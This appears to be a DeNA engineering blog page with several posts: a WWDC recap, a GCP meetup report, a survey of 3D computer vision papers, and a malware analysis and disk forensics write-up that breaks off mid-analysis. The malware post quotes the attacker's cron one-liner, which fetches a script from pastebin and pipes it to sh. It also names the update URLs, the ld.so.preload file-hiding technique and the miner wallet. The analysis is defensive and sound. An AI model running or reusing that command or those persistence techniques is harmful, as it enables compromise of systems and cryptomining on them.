48065785607_f612e6b906_k.jpg 最後に、@bannzai がSwift UI、Combine について、実際にうごかしてみながら紹介しました。

SwiftUIとCombineについてラボで質問した内容、公開セッションと現状のフレームワークの内容に差異があることをお話しました。また、Mac Pro についての最高スペックの値段予想が出ていたことについても紹介しました。

まとめ

今回実施した WWDC 報告会は、 WWDC 2019 に行く前から企画し、WWDC に参加した DeNA のエンジニアは聞く内容、発表する内容を分担して準備を行い、発表しました。

WWDC 2019 で発表された内容は膨大で、1人1人が個別にキャッチアップするのも大変でした。今回の発表で iOS アプリ開発エンジニアのみなさんが WWDC で発表された内容のうち、興味ある内容を理解する助力になれば幸いです。

DeNA は今後もこのようなイベントを行っていきますので、引き続きどうぞよろしくお願いします。

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

DeNA x PLAID x Google Cloud 交流会を実施しました!

MVIMG_20190610_193631.jpg

先日、DeNA と PLAID さん、 Google Cloud さんの3社のメンバーが集まり、GCP の活用について交流会を実施しました。どのような交流会だったか、こちらの記事でご紹介します。

PLAID さん、 DeNA の特徴、GCPの活用状況について紹介

スクリーンショット 2019-06-17 15.19.42.png

PLAID からは CTO 牧野さんが、 DeNA からはゲーム・エンターテインメント事業本部ゲーム事業部Publish統括部共通基盤部 部長の菅原賢太が、各社のサービスについての紹介や、どのように GCP を活用しているかの紹介を行うところからスタートしました。

こちらでは DeNA の菅原が話した内容を一部抜粋してご紹介します。

DeNA は 2013年8月から GAE Java を Mobage West で利用するところからスタートしており、当時は GAE の AutoScale を活用し、安定稼働に役立てていました。

またその後、GAE だけでなく、フルマネージドなシステムを構築しようと GCP を利用し始めました。その活用について、Google さんにもご支持いただき、2014年の GCP Live で DeNAをご紹介いただいたこともあります。

2016年秋には AndApp という スマホとPCどちらでも遊べるゲームを提供しはじめたのですが、そちらで GAE Go を活用し始めました。

最近では Google Cloud Next '19 in SF で AI 系の発表も行っており、様々な事業、様々な技術領域で Google Cloud を使い倒すようにしています。

今回の交流会では DeNA から 10名のエンジニアが参加しています。参加するエンジニアについては、多様性を重視し、様々な技術担当の人に来てもらい、ポートフォリオを揃えました。

Google Cloud 白川さんのトーク

LRG_DSC04309.jpg Google Cloud からは、白川さんが Google の特徴やカルチャーについて語ってくださいました。

3社のメンバーによる交流会

LRG_DSC04311.jpg

会場は PLAID さんに準備いただき、DeNA と PLAID さんのそれぞれから参加したエンジニアが「コンテナ&アプリケーションまわり」、「インフラまわり」、「データまわり」とトピックを分けて懇親、交流会を実施しました。

スクリーンショット 2019-06-10 16.29.40.png

各エンジニアが興味ある技術領域について意見交換していましたが、その中で DeNA のエンジニアが話していた内容を一部抜粋してご紹介します

DeNA での GCP の活用状況

  • DeNA ではいろんな部署ごと、プロジェクトごとにそれぞれ GCP を活用している
  • インフラチームが横断的に見るが、自分たちだけでやっているプロジェクトもある
    • サービス開発側で自由にできるからクラウドをつかっているところもある
  • 新規サービスでは、アプリケーションエンジニアがまるっとつくるからGAEを使うというところも多い
  • GCPの学習にコードラボを利用している

BigQuery の便利な利用方法

  • BigQuery が、使い方次第でかなり安く利用できる
    • データ入れるだけで触らなければ
    • 走査するとお金かかるけど。。。
  • パーティションをつけておいて、キーも設定してあとで見れるようにしてる
  • サービスの特性上、とりあえずデータ保存しておかないといけないものに便利

LRG_DSC04321.jpg

おわりに

LRG_DSC04326.jpg

今回、PLAID さん、 Google Cloud さんにご協力いただき、非常に有意義な情報交換会を実現させていただきました。この場を借りてお礼申し上げます。

DeNA は、今後も Google Cloud をはじめとした様々な技術を使い倒しつつ、その過程で得た知見を外部発信することで、技術コミュニティに貢献していきたいと思っています。引き続きどうぞよろしくお願いします!

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

コンピュータビジョンの最新論文調査 3D Vision編

はじめに

こんにちは、AIシステム部でコンピュータビジョンの研究開発をしております宮澤です。 我々のチームでは、常に最新のコンピュータビジョンに関する論文調査を行い、部内で共有・議論しています。前回はHuman Recognition編ということで我々が読んだ最新の論文をご紹介しましたが、今回は3D Vision編をお届けします。今回論文調査を行なったメンバーは、奥田 浩人、宮澤 一之です。

論文調査のスコープ

2018年11月以降にarXivに投稿されたコンピュータビジョンに関する論文を範囲としており、その中から重要と思われるものをピックアップして複数名で調査を行っております。今回は3D Vision編として、主に2次元画像から3次元情報を復元する技術に関する最新論文を取り上げます。

前提知識

カメラで得られる2次元画像から3次元情報を復元するためには、複数の視点から撮影した画像が必要であり、単一のカメラ(単眼カメラ)を動かしながら撮影する方法、2つ(以上)のカメラを並べて撮影する方法などがあります。前者における最も有名な技術としてはSfM(Structure from Motion)、後者ではステレオビジョンなどが知られています。いずれもコンピュータビジョン分野では非常に古くから研究されてきた技術ですが、昨今ではディープラーニングを取り入れる動きが活発です。そこで今回は、最新論文を単眼カメラを用いる技術とステレオカメラを用いる技術とに分け、さらにそれらの中でディープラーニングを利用しているものをご紹介いたします。

今回ご紹介している論文でよく使われているデータセットは以下の通りです。

  • The KITTI Vision Benchmark Suite:車載カメラデータセットのデファクトスタンダート。ステレオカメラ、LiDAR、GPSなど豊富なセンサデータに対する様々なベンチマークを含む。今回紹介する論文に関係するベンチマークとしては、ステレオカメラの視差推定やシーンフロー(3次元オプティカルフロー)推定などがある。
  • Scene Flow Datasets:ステレオカメラのデータセット。CGで生成しているため、左右カメラの視差、オプティカルフロー、シーンフローの完全な真値が利用可能。
  • TUM RGB-D SLAM Dataset and Benchmark:RGB-Dカメラのデータセット。カメラによる自己位置推定などの精度評価に用いられる。
  • ETH3D Benchmark:多視点カメラのデータセット。屋内・屋外双方のデータが含まれる。画像からの3次元復元精度の評価のため、レーザスキャナにより計測した高精度な3次元データを含む。

目次

単眼カメラを用いる手法

  • SfMLearner++: Learning Monocular Depth & Ego-Motion using Meaningful Geometric Constraints (WACV2019 Oral)
  • Pseudo-LiDAR from Visual Depth Estimation: Bridging the Gap in 3D Object Detection for Autonomous Driving (CVPR2019 Poster)
  • Learning the Depths of Moving People by Watching Frozen People (CVPR2019 Oral)
  • Neural RGB→D Sensing: Depth and Uncertainty from a Video Camera (CVPR2019 Oral)

ステレオカメラを用いる手法

  • Group-wise Correlation Stereo Network (CVPR2019 Poster)
  • GA-Net: Guided Aggregation Net for End-to-end Stereo Matching (CVPR2019 Oral)
  • StereoDRNet: Dilated Residual Stereo Net (CVPR2019 Poster)
  • Deep Rigid Instance Scene Flow (CVPR2019 Poster)

単眼カメラを用いる手法

SfMLearner++: Learning Monocular Depth & Ego-Motion using Meaningful Geometric Constraints (WACV2019 Oral)

要約

教師なしのデプス学習手法であるSfMLearnerに対しエピポーラ拘束を導入することで精度を改善

提案手法

単眼映像から教師なしでデプス推定を学習可能なフレームワークとして、SfMLearnerがCVPR2017で提案された。これは、推定したデプスとカメラ運動からある時刻のフレームを他時刻のフレームにワープして重ね、両画像の差異をロスとしてCNNを学習するというものである。SfMLearnerでは、シーン中の移動物体やオクルージョン箇所を推定してロスへの寄与率を変えているが、提案手法ではこれを改善し、より幾何的に妥当な結果を得るためにエピポーラ拘束を導入している。具体的には、5点アルゴリズムにより基本行列Eを求めてエピポーラ方程式を得たうえでこれを満たさない点のロスへの寄与率を下げている。

結果

KITTIによるSfMLearnerとの比較を図A1に示す。左から順に、入力画像、真値、SfMLearner、提案手法である。SfMLearnerと比較して、提案手法の方が正確なデプスが得られていることがわかる。 E図1.png 図A1:KITTIにおけるSfMLearnerとの比較。

また、他の従来手法との比較結果を図A2に示す。これを見ると、図A1と同様にSfMLearnerよりも提案手法の方が高精度であるが、GeoNetやDDVOといった最新手法(いずれもCVPR2018で発表された)には劣っている。しかし、これらの手法はネットワークのパラメータ数が多い、非線形最適化を必要とするなど提案手法に比べて計算量が大きいことが欠点として挙げられる。 E図2.png 図A2:KITTIにおける評価結果。

リンク

論文:https://arxiv.org/abs/1812.08370

Pseudo-LiDAR from Visual Depth Estimation: Bridging the Gap in 3D Object Detection for Autonomous Driving (CVPR2019 Poster)

要約

画像から得られたデプスマップを擬似的にLiDARから得られたデータのように変換し、既存の3次元物体認識手法を適用可能にすることで精度を改善。

提案手法

3次元物体認識においては、LiDARから得られる高精度な3次元データを用いる場合に比べて画像から推定したデプスマップを用いる場合は精度が大幅に低下する。一般には画像によるデプスの推定精度が低いことが原因とされがちだが、本論文ではデータの表現方法に問題があると指摘している。例えば、2次元のConvolutionでは、画像中で隣接する物体同士は異なる距離にあっても統一的に扱われてしまったり、物体の距離の違いによるスケール変化などが考慮されない。そこで本論文では、画像から得られたデプスマップをそのまま利用するのではなく、擬似的にLiDARから得られたようなデータに変換することでこの問題の解決を図っている。このようにすることで、これまでに提案されてきたLiDARデータを対象とした3次元物体認識技術をそのまま流用することが可能となる。この流れを図B1に示す。 F図1.png 図B1:提案手法のパイプライン。

本論文の主眼はあくまでもデータの表現方法であり、デプス推定や3次元物体認識にはどのような手法を用いても構わないとしている。論文中ではデプス推定には一般的なステレオカメラの視差推定を利用し、3次元物体認識にはfrustum PointNetとAVOD(Aggregate View Object Detection)の2種類を用いている。

結果

KITTI2015を用いて従来手法との性能比較を実施。結果を図B2に示す。従来の画像ベースの手法と比較して提案手法では大幅に精度が改善していることがわかる。また、アプローチが異なる2種類の3次元物体認識手法のいずれにおいても大きな改善が得られており、提案手法が幅広い手法に適用可能であることが示唆されている。 F図2.png 図B2:KITTI2015における評価結果。それぞれ3Dとbird’s-eye-viewに対するAverge Precisionをスラッシュで区切って示している。青が提案手法、グレーが実際にLiDARを用いた場合。

リンク

論文:https://arxiv.org/abs/1812.07179

Learning the Depths of Moving People by Watching Frozen People (CVPR2019 Oral)

要約

静止した人物を移動カメラで撮影したマネキンチャレンジの映像を学習に利用することで、従来は困難であった複雑な動きをする人物を含む映像のデプス推定を実現。

提案手法

人間など複雑な動きをする対象を移動するカメラで撮影した映像からSfM(Structure from Motion)やMVS(Multi-View Stereo)でデプスを推定することは非常に難しく、データドリブンな機械学習ベースの手法を用いるとしてもデプスの真値を持つ学習データを膨大に集めることは現実的でない。そこで本論文では、インターネット上に大量に存在する”マネキンチャレンジ”の映像を用いることを提案している。マネキンチャレンジとは、人々が様々な姿勢でマネキンのように静止し、そのシーン中をカメラで移動しながら撮影するというものである。こうした映像では人々が静止しているためMVSによるデプス推定が可能であり、これを真値として画像からデプスを推定するニューラルネットを学習させることができる(図C1)。 G図1.png 図C1:提案手法における学習の流れ。マネキンチャレンジの映像からMVSでデプスを求め、これを真値として画像からデプスを推定するネットワークを教師あり学習する。

単一のフレームからデプスを推定するだけでは、多視点画像から取得可能なシーンの幾何的な情報が利用できないため、提案手法では人以外の背景領域について運動視差を求めてネットワークへの入力としている。ネットワークへの入力を図C2に示す。ネットワークには参照画像Ir、人領域を指定するマスク画像M、人以外の背景領域から運動視差により求めたデプスマップDpp、コンフィデンスマップC、またオプションとして人のキーポイントマップKが入力される。コンフィデンスマップとは、入力として与えるデプスマップの信頼度を表現したマップであり、視差の一貫性や大きさ、エピポーラ制約などを考慮して求める。ネットワークはこれらを入力として受け取り、MVSにより得られたデプスを真値として学習することで、マスクされた人領域のデプスを補間し、かつ、背景領域のデプスをリファインすることができるようになる。 G図2.png 図C2:提案手法における入力データ(a)〜(d)と教師データ(e)。

結果

自ら構築したマネキンチャレンジデータセット、およびTUM RGBDデータセットにより従来手法との比較を行っている。TUM RGBDでの比較結果を図C3に示す。従来手法に比べ、提案手法では大幅に真値に近いデプスマップが得られていることがわかる。 G図3a.png 図C3:TUM RGBDにおける評価結果。右2列が提案手法により推定されたデプスマップ。

リンク

Neural RGB→D Sensing: Depth and Uncertainty from a Video Camera (CVPR2019 Oral)

要約

カメラからのデプス推定において、デプスを単一の値としてではなく確率分布として求めることでベイジアンフィルタにより時間方向にデプスを集積して精度を改善。

提案手法

提案手法では、通常のRGBカメラからのデプス推定において、従来手法のように画素ごとに単一のデプス値を求めるのではなく、取りうるデプスの確率分布を求めている。このようにすることで、ベイジアンフィルタの枠組みを利用して時系列方向にデプスを集積し、デプスの不確定性を減らすと共に精度や安定性を向上させることに成功している。提案手法の概要を図D1に示す。 H図1.png 図D1:提案手法の概要。入力としてある時間区間のフレーム群を受け取り、DPV(Depth Probability Volume)を出力する。

図D1に示すように提案手法は入力フレームからDPV(Depth Probability Volume)を生成するD-Net、DPVを時間方向に統合していくK-Net、DPVの空間解像度を向上させるR-Netの3つから成る。DPVはp(d; u, v)で表され、画素 (u, v) がデプスdを持つ確率である。D-NetではPSM-Netを利用して複数の入力フレームのそれぞれから特徴抽出を行い、取りうる視差に対するコストボリュームを求めてSoftmaxをかけることでDPVを生成する。この段階で、空間解像度は入力画像の1/4となる。K-Netは、ベイジアンフィルタの枠組みを利用してDPVを時間方向に統合し、デプスの不確定性を減少させる。R-Netは低解像度のDPVと入力画像から抽出した特徴マップを受け取り、DPVを入力画像と同じ解像度にまでアップサンプルする。最後に、DPVから参照フレームにおけるデプスマップおよびその信頼性を表すコンフィデンスマップが生成される。

結果

7-Scenes(屋内シーン)やKITTI(屋外シーン)などのデータセットで従来手法との比較を行なっている。結果を図D2、図D3に示す。7-Scenesにおいては従来手法のDeMoNやDORNを上回る精度となっているが、KITTIでは同等程度となっている。 H図2.png 図D2:7-Scenesにおける評価結果。

H図3.png 図D3:KITTIにおける評価結果。

リンク

ステレオカメラを用いる手法

Group-wise Correlation Stereo Network (CVPR2019 Poster)

要約

ステレオカメラにおける視差推定で用いられるコストボリュームの計算のためのGroup-wise Correlationを提案。

提案手法

ステレオビジョンでは、取りうる視差に対して左右画像のマッチングコスト(SSDやSADなど)を計算することでコストボリュームを求め、そこからコスト最小となるような視差を選ぶことで視差推定を行う。近年では、CNNで左右画像から特徴量を抽出し、それらの相関計算あるいはConcatenationによりコストボリュームを求める手法が登場しているが、相関計算では単一チャネルの相関マップしか得られず、またConcatenationでは類似度情報が得られないという欠点がある。これらの欠点を解決するため、本論文では、抽出した特徴をグループに分け、グループごとに相関を求めるGroup-wise Correlationを提案している。また、求めたコストボリュームの局所的なコストを集約することでrefineする3D Aggregation Networkについても従来手法から精度と速度の改善を図っている。全体のパイプラインを図E1、3D Aggregation Networkのアーキテクチャを図E2に示す。 A図1.png 図E1:提案するGroup-wise Correlation Networkのパイプライン。特徴抽出、コストボリューム生成、3D Aggregation Network、視差推定の4つのパートから成る。

A図2.png 図E2:3D Aggregation Networkのアーキテクチャ。先頭に3D Conv、それに続いて3つのHourglass型3D Convを配置。

結果

Scene FlowおよびKITTIを用いてAblation Studyと従来手法との性能比較を実施。KITTI2015における評価結果を図E3に示す。KITTI2015では、視差の外れ値の割合(D1)を背景画素(bg)、前景画素(fg)、全画素(all)のそれぞれについて評価しており、図3はそれらをまとめたものである。また、図3におけるAllとNocは、それぞれ全画素を評価対象とした場合と、オクルージョンのない画素のみを評価対象とした場合である。いずれの評価尺度においても、提案手法(GwcNet-g)は従来手法よりも高い精度を示している。 A図3.png 図E3:KITTI2015における評価結果。

リンク

GA-Net: Guided Aggregation Net for End-to-end Stereo Matching (CVPR2019 Oral)

要約

ステレオカメラにおける視差推定で用いられるコストボリュームにおいて、マッチングコストの集約を行うための新たなレイヤを提案。

提案手法

ステレオビジョンでは、取りうる視差に対して左右画像のマッチングコスト(SSDやSADなど)を計算することでコストボリュームを求め、そこからコスト最小となるような視差を選ぶことで視差推定を行う。このとき、近傍での視差がなめらかとなることを拘束条件として利用するため、ローカルおよびグローバルなコストの集約が行われる。本論文では、ニューラルネットを使った視差推定において、このコスト集約を行うためのレイヤであるSemi-Global guided Aggregation(SGA)レイヤとLocal Guided Aggregation(LGA)レイヤを提案している。アーキテクチャ全体とSGAレイヤ、LGAレイヤの概要を図F1に示す。 B図1.png 図F1:(a)アーキテクチャの全体像。ステレオカメラの左右画像からHourglass型CNNで特徴抽出を行ってコストボリュームを生成し、これがCost Aggregationブロックの入力となる。(b)SGAレイヤでは上下左右の4方向についてグローバルなコスト集約を行う。(c)LGAレイヤは視差推定の前にコストボリュームを局所的にリファインする。

結果

Scene FlowおよびKITTIを用いてAblation Studyと従来手法との性能比較を実施。KITTI2015における評価結果を図F2に示す。いずれの評価尺度においても、提案手法(GA-Net)は従来手法よりも高い精度を示している。 B図2.png 図F2:KITTI2015における評価結果。

KITTI2015における視差推定の結果例を図F3に示す。1行目が入力画像、2行目と3行目が従来手法(それぞれGC-NetとPSMNet)による視差推定結果、3行目が提案手法による視差推定結果である。矢印で示されているように、特にテクスチャのない領域について提案手法は従来手法よりも優れた性能を示していることがわかる。

B図3.png 図F3:推定結果の従来手法との比較。1行目が入力画像、2行目がGC-Net、3行目がPSMNet、4行目が提案手法による視差推定結果。

リンク

論文:https://arxiv.org/abs/1904.06587

StereoDRNet: Dilated Residual Stereo Net (CVPR2019 Poster)

要約

ステレオカメラにおける視差推定で用いられるコストボリュームのフィルタリングに3D Dilated Convolutionを利用し、さらに新たなネットワークを導入して推定視差の高精度化を実現。

提案手法

C図1.png 図G1:StereoDRNetのアーキテクチャ。

本論文が提案するStereoDRNetのアーキテクチャを図G1に示す。提案手法は、大きく分けて特徴抽出、コストボリュームに対するフィルタリング、視差の高精度化から成る。提案手法における新規的な提案の1つがコストボリュームのフィルタリングに図G2に示すように3D Dilated Convolutionを用いている点であり、これにより従来手法と比較して計算量をほぼ半減している。また、ショートカット接続を持つ残差ブロックをスタックしており、各ブロックからそれぞれ視差マップを生成してロスを求めている(図G2では3ブロック)。

C図2.png 図G2:3D Dilated Convを用いたコストフィルタリング。

また、推定した視差を高精度化するためのブロック(図G3)を取り入れている点も本論文における新規提案である。ここでは、推定した視差を用いて右画像を左画像の視点にワープし、ワープした画像と左画像との残差マップを求める(図G3におけるEp)。さらに視差マップについても同様にして残差マップを求め(図G3におけるEg)、両マップをCNNに入力することで視差マップの精度改善を図っている。

C図3.png 図G3:視差高精度化のためのブロック。

結果

Scene Flow、KITTIおよびETH3Dを用いてAblation Studyと従来手法との性能比較を実施。KITTI2012とKITTI2015における評価結果を図G4と図G5に示す。KITTI2012ではいずれの従来手法よりも高い精度を示しており、またKITTI2015でも背景領域(bg)の視差推定では高い精度を達成している。また、Dilated Convolutionの利用により計算時間についても他手法よりも高速となっている。 C図4.png 図G4:KITTI2012における評価結果。

C図5.png 図G5:KITTI2015における評価結果。

また、屋内シーンの3次元計測における結果を図G6に示す。同図下段は真値(左列)からの誤差を示しているが(赤い領域ほど誤差が大きい)、提案手法(中央列)は従来手法(右列)よりも誤差が小さいことがわかる。

C図6.png 図G6:屋内シーンの3次元計測結果。左から順に、構造光投影による結果(真値)、提案手法による結果、PSMNetによる結果。

リンク

論文:https://arxiv.org/abs/1904.02251

Deep Rigid Instance Scene Flow (CVPR2019 Poster)

要約

シーンフロー推定を各インスタンスに対するエネルギー関数の最小化問題として捉え、リカレントネットにより効率的にガウス・ニュートン法を実装することで精度と速度を改善。

提案手法

D図1.png 図H1:提案手法の概要。

自動運転向けに車載カメラで得たステレオ映像からシーンフロー(各点の3次元動きベクトル)を推定するため、背景の動き(エゴモーション)と各インスタンスの動きを個別に求める手法を提案。図H1に示すように、まずVisual Cueとして既存手法を用いてステレオ映像に対してインスタンスセグメンテーション、視差推定、オプティカルフロー推定を行う。そして、背景を含む各インスタンスについてPhotometric Error、Rigit Fitting、Flow Consistencyを評価するエネルギー関数を定義し、これを最小化することでシーンフローを求めている。各エネルギーの意味は以下の通りである。

  • Photometric Error:画像間で対応づけられた点同士は見た目が一致する
  • Rigid Fitting:推定されるシーンフローは視差およびオプティカルフローから得られる3次元運動と一致する
  • Flow Consistency:推定されるシーンフローを2次元画像に投影した結果はオプティカルフローと一致する

提案手法では上記エネルギー関数をガウス・ニュートン法で解くことでシーンフローを推定している。ガウス・ニュートン法はリカレントニューラルネットワークで実装することが可能であり、GPUの利用により従来手法よりも大幅な高速化を実現している。

結果

KITTI scene flowデータセットにより従来手法との比較を行い、処理時間と精度の両面で従来手法よりも高い性能を示すことを確認(図H2)。特に現時点で最も性能が高いISF(Instance Scene Flow)モデルとの比較では22%の誤差削減と800倍の高速化を実現している。

D図2.png 図H2:KITTI scene flowデータセットにおける評価結果。

リンク

論文:https://arxiv.org/abs/1904.08913

おわりに

Human Recognition編に続き、今回は3D Vision編ということでコンピュータビジョンに関する最新論文をご紹介しました。主に2次元画像からの3次元情報復元という非常に古くから研究されてきた分野について取り上げましたが、昨今ではディープラーニングの導入によって精度やロバスト性、汎用性の観点でさらに進展が見られています。また、単純に全てをディープラーニングに置き換えるのではなく、これまでに長く研究されてきた伝統的なアルゴリズムを踏襲しつつ、その一部にディープラーニングを組み込むことで性能を向上させるようなアプローチが増えてきているように感じます。

カメラからの3次元情報復元は、車載カメラでのシーン認識など幅広い応用が可能な重要技術であり、ディープラーニングによる性能向上のおかげでますます適用範囲が拡大していくと考えられます。今後もDeNA CVチームでは最新技術の調査を継続し、コンピュータビジョン技術を新たなサービスに繋げて世の中にデライトを届けるべく頑張っていきます。

ツイート
シェア
あとで読む
ブックマーク
送る
メールで送る

DeNA SOC始動 ━ マルウェア解析とフォレンジック

はじめに

こんにちは、DeNAセキュリティ部のWanです。 セキュリティ部では、チート対策関連の開発や脆弱性診断、SOC・インシデントハンドリングなどを担当しています。 今回はSOC業務で解析を担当したマルウェアの挙動や具体的に行った解析手法について、紹介したいと思います。

マルウェア解析

DeNAでは、インシデントハンドリングを内製していて、マルウェア感染時の解析なども対象にしています。 今回は、インシデントハンドリングの模擬演習の一環として、話題になっているマルウェアの感染を伴う簡易フォレンジックをある感染シナリオを想定して行いました。 このマルウェアが会社の重要情報などを持ち出すような挙動をするかを判断できる状態をゴールとして、解析しました。

解析結果を下記にまとめます。

感染シナリオでの攻撃の起点

攻撃の起点は、Remote Code Execution(遠隔任意コード実行、以下「RCE」と称する)の脆弱性などを利用して感染するケースを想定し、実際にWebアプリケーションのRCE脆弱性を利用してマルウェア感染を再現しました。 攻撃者がこのRCEの脆弱性を利用して下記のようなcronジョブを登録するところから始まります。

(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh

このURLの先にこのようなシェルスクリプトが置かれています。 shell.png

このスクリプトの中では、x64マシンの場合、pixeldrain[.]comから1554470365x2890174166.jpgというファイルをダウンロードします。 x86の場合は、wl_bHMB1というファイルをダウンロードします。 さらにダウンロードしたバイナリを/tmp/kerberodsと名前を変更した上で、実行します。

wl_bHMB1解析

1554470365x2890174166.jpgwl_bHMB1は基本的に同じ機能を持っているので、ここでwl_bHMB1の方を解析します。 実はこのマルウェアのHashは 74becf0d1621ba1f036025cddffc46d4236530d54d1f913a4d0ad488099913c8(64bit)とbab27f611518dc55b00b1a9287bdb8e059c4f4cc1607444f40e0c45d5842994f(32bit)で、 すでに既知のマルウェアではあります。 ただし、virustotalなどでの動的解析の情報が少なく、どういった挙動をするマルウェアなのかよくわからない状態です。 今回はこのマルウェアの挙動を解析し、マルウェアが実際にどのような影響を及ぼすかを調査します。

このマルウェアの名前で検索すると、すでにこのような記事が公開されていることがわかりました。 とても詳しく記載されているのですが、残念なことにこの記事は一年前で、記載されているバイナリのHash値も一致しませんでした。 実際に我々が入手した最近のマルウェアの影響はこの記事のマルウェアと同じかどうか、この一年間で新しい機能が追加されたかを確かめる為に、解析を行いました。

この記事で記載しているように、まずwl_bHMB1はUPXでパッキングされていて、かつUPXのマジックをUPX!からLSD!に改変されています。LSD!UPX!にもどし、unpackできます。このバイナリはGolangで書かれているらしく、https://github.com/sibears/IDAGolangHelper というIDAのプラグインを使えばうまくシンボルをロードできました。シンボルが付いているバイナリの解析はとても楽です。早速眺めて見ましょう。

main_main

これはGolangでできたバイナリのエントリポイントです。この関数ではgithub_com_VividCortex_godaemon_MakeDaemonを呼んで、プログラムをdaemon化します。同時に、自分のpidを/tmp/.X11unixに書き込みます。

x11file.png pid.png

なぜ/tmp/.X11unixファイルを生成するかというと、前述のシェルスクリプトを読めばわかります:

if [ ! -f "/tmp/.X11unix" ]; then

という条件分岐で、一度マルウェアの本体が実行されたら繰り返しダウンロードしないようにしています。 このことから、もし/tmp/.X11unixファイルが存在していたら、感染が成功しマルウェアの本体が実行されたと考えることができます。

main_lsd

次にほとんどの攻撃はmain_lsd関数の中で実行されます。 注意する必要があるのは、github_com_hippies_LSD_LSDC_Checkupdateの関数の中で、https://pastebin[.]com/raw/HWBVXK6Hにアップデートの問い合わせを行っていることです。 lsdcという文字列のレスポンスが返している場合、アップデートがあると判断して、既存のマルウェアプロセスを殺し、アップデートを行うことがわかります。

update.png

実際にアップデート内容の取得先はこちらのURLです:https://pastebin[.]com/raw/rPB8eDpu

私がこの記事を書いているうちに、これらのURLがコロコロ変わっていて、現在進行形でアップデートが行われていることがわかりました。 なので、マルウェアのhash値についてもまだまだ変化していくと考えられます。

github_com_hippies_LSD_LSDA_Aago

この関数は6379ポートに対して、Redis接続を試みます。

github_com_hippies_LSD_LSDA_Bbgo

アクセスできるホストへのsshログイン試行する関数です。

github_com_hippies_LSD_LSDA_Ccgo

8080ポートに対して、JenkinsのCVE-2019-1003000をスキャンする関数です。

github_com_hippies_LSD_LSDB_NetdnsWrite

この関数もmain_lsdの中で呼ばれています。netdnsというサービスを登録する機能です。 root権限を奪われていない限り、この関数に影響は受けないと考えられます。 そのため、今回の解析対象からこの関数を外しました。

github_com_hippies_LSD_LSDB_LibWrite

この関数では、/usr/local/lib/libpamcd.cを作成し、gccを使ってlibpamcd.soにコンパイルします。 その後libpamcd.cを削除し、libpamcd.so/etc/ld.so.preload/ディレクトリに配置します。 先ほど紹介した記事では生成されたライブラリの名前はlibcryptod.soとされており、今回解析中のマルウェアと差分があるようです。 マルウェアが検知を回避する為に、こういった特徴的な挙動も含めてアップデートしていることがわかります。

libpamcd.png

解析ではマルウェアを改造し、Sandboxでlibpamcd.cが消されないようにしてSandboxで実行し、ソースコードを手に入れました。

入手したソースコード: libpamcd.c.png

ソースコードから分かる通り、libpamcd.soでは、fopenreaddiraccessなどのlibcのAPIをhookingし、khugepagedskerberodsld.so.preloadlibpamcd.soというファイルまたはプロセスを隠そうとしています。 root権限を取られていない場合はそもそも/usr/local/libへの書き込み権限持っておらず、 libpamcd.soファイルの生成自体も失敗していると考えることができます。

github_com_hippies_LSD_LSDB_KWR

この関数から/tmp/khugepagedsというバイナリを作成し、実行します。 このバイナリもUPXによってpackingされていて、マジックをSYM!に改変されています。 マルウェア本体と同じ手順でunpackして分析すると、/tmp/khugepagedsはマイニングプログラムで、 https://github.com/xmrig/xmrig このソースコードに基づいて作成されていることがわかります。

wallet.png 更に、攻撃者は44qJYxdbuqSKarYnDSXB6KLbsH4yR65vpJe3ELLDii9i4ZgKpgQXZYR4AMJxBJbfbKZGWUxZU42QyZSsP4AyZZMbJBCrWr1というアドレスのウォレットを使っていることがわかります。

github_com_hippies_LSD_LSDC_Cron

この関数は今回のマルウェアの永続化の肝心なポイントです。

この関数は名前の通り、cronのジョブを作っています。cronジョブの中身は、最初のマルウェアの起点として登録されたジョブと同じです。

(curl -fsSL https://pastebin[.]com/raw/2wGUXFiE||wget -q -O- https://pastebin[.]com/raw/2wGUXFiE)|sh

cronジョブが消されても、マルウェアのプロセスが存在していれば、cronジョブを復活させることができます。逆にマルウェアだけ消されても、cronジョブからマルウェアを再ダウンロードすることができます。

ディスクフォレンジック

静的解析で挙動の概要を掴んだ後、実際に他の攻撃もされていないかを確認するためにディスクイメージを確保して、フォレンジックを行いました。 実際のフォレンジックでは、メモリ確保が難しいケースもあるため、メモリが確保できない範囲でどの程度まで解析できるかを確認しました。

ディスクイメージをマウント

まずパーティションがどこから始まるのを調べます

$ fdisk -l -u webserver.image
設定する必要があります シリンダ数.
あなたは特別機能メニューからこれを行なうことができます

ディスク webserver.image: 0 MB, 0 バイト
ヘッド 255, セクタ 63, シリンダ 0, 合計 0 セクタ
Units = セクタ数 of 1 * 512 = 512 バイト
セクタサイズ (論理 / 物理): 512 バイト / 512 バイト
I/O size (minimum/optimal): 512 bytes / 512 bytes
ディスク識別子: 0x000c16af

  デバイス ブート      始点        終点     ブロック   Id  システム
webserver.image1            2048   125829119    62913536   83  Linux
領域 1 は異なった物理/論理終点になっています:
     物理=(1023, 254, 63) 論理=(7832, 127, 39)

始点が2048、sectorサイズが512なので、パーティション1が2048*512=1048576バイト目から始まることが分かりました。

次にddでパーティション1を分離します

dd if=webserver.image of=webserver.image.disk1 skip=2048 bs=512

最後にパーティション1をマウントします

mkdir ./mnt
sudo mount -o loop,ro,noexec,offset=1048576 webserver.image ./mnt/

debugfsでディスクイメージを分析

マウントできたらマウントしたファイルシステムを調査することは勿論必要ですが、実際に消されたファイルの痕跡を確認したい場合は、debugfsでファイルシステムのジャーナルを見ることで確認できます。

具体的なやり方としては、まずパーティション1をdebugfsで開きます:

debugfs webserver.image.disk1

これでインタラクティブなシェルに入り、様々な操作ができます。 ここで/var/spool/cron以下に(削除されたファイルも含めて)あったファイルを見てみましょう。

debugfs:  ls -d var/spool/cron/
 1311581  (12) .    1311558  (12) ..    1317177  (36) root  
<1327692> (24) tmp.XXXXnoFifc    1327692  (4036) application

applicationというファイルが作られて、中身を確認したら、今回のマルウェアが仕込んだcronジョブです。 ただしジャーナルは万能ではありません。全ての削除されたファイルを見られる訳ではありません。 ファイルが消された後、inodeが再利用されると、削除ファイルの一覧から出なくなります。

このようにファイルシステム内の更新時期が直近のファイルに注目していたところ、/var/spool/cron/application/tmp/.X11unix/tmp/bakという三つのファイルに気付きました。 /var/spool/cron/application/tmp/.X11unixは前述のマルウェアが生成されたファイルで既知の挙動です。

ログの分析

実際に/tmp/bakの時間を見てみます:

Access: 2019-05-27 19:04:14.458620902 +0900
Modify: 2019-05-27 19:10:16.242615594 +0900
Change: 2019-05-27 19:10:16.242615594 +0900

